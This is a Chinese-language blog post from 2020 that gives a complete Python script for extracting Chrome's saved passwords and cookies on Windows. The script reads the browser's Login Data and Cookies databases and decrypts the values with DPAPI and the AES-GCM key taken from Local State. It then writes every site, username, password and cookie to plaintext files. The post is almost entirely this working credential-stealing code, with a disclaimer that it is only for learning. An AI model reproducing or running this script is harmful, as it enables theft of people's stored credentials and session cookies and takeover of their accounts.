[py054] 破解浏览器密码和cookie

Friday, June 5, 2020 ---Andy

效果

代码

import base64
import json
import os
import sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from win32crypt import CryptUnprotectData


def sqlite_execute(database='sqlite_test_db.db', sql="select name from sqlite_master"):
    """Sqlite3操作函数,@return: select操作:rows-->[()...]"""
    try:
        # 1.连接数据库
        conn = sqlite3.connect(database)
        # 2.执行sql:以查询数据库里面包含的所有表为例
        rows = [row for row in conn.execute(sql)]
        # 3.关闭数据库
        conn.close()
        return rows
    except Exception as e:
        print(e)
    finally:
        conn.close()


def decrypt_google_data(data):
    """破解Google浏览器数据加密(包括登录密码和Cookies)"""
    if data[0:3] != b'v10':
        return CryptUnprotectData(data)[1].decode('utf-8')
    else:
        # 针对:chrome 80+版本以后对 cookie加密方式
        def get_the_encrypted_key():
            local_state = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Local State'
            with open(local_state, 'r', encoding='utf-8') as f:
                base64_encrypted_key = json.load(f)['os_crypt']['encrypted_key']
            encrypted_key_with_header = base64.b64decode(base64_encrypted_key)
            encrypted_key = encrypted_key_with_header[5:]
            decrypted_key = CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
            return decrypted_key
        key = get_the_encrypted_key()
        nonce, cipherbytes = data[3:15], data[15:]
        aesgcm = AESGCM(key)
        return aesgcm.decrypt(nonce, cipherbytes, None).decode('utf-8')


def get_password_from_chrome():
    """获取Google浏览器网站登录密码"""
    passwords_db_path = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Default\Login Data'
    passwords_list = []
    for row in sqlite_execute(database=passwords_db_path,
                              sql="select signon_realm,username_value,password_value from logins"):
        password = decrypt_google_data(row[2])
        passwords_list.append(f'url {row[0][:50]:<40} username {row[1]:<20} password {password}\n')
    with open("GoogleBrowserPassword.txt", "w") as f:
        f.writelines(passwords_list)
    return passwords_list


def get_cookie_from_chrome():
    """获取Google浏览器的网站Cookies"""
    cookies_db_path = os.environ['LOCALAPPDATA'] + r"\Google\Chrome\User Data\Default\Cookies"
    cookies_list = []
    for row in sqlite_execute(database=cookies_db_path, sql="select host_key,name,encrypted_value from cookies"):
        host_key, name, encrypted_value = row
        cookies_list.append(f"{host_key}, {name}, {decrypt_google_data(row[2])}\n")
    with open("GoogleBrowserCookies.txt", "w") as f:
        f.writelines(cookies_list)
    return cookies_list


if __name__ == '__main__':
    get_password_from_chrome()
    get_cookie_from_chrome()

最后

[1].代码截止2020-06-05调试无误。
[2].如需全部代码及相关文件,留言邮箱。
[3].过程中有任何问题,欢迎交流。Q597966823
[4].仅供学习交流使用。

  让知识或技术实现其最大的价值,欢迎收藏自用、转载分享,转载请注明原文出处,谢谢!

你可能感兴趣的:([py054] 破解浏览器密码和cookie)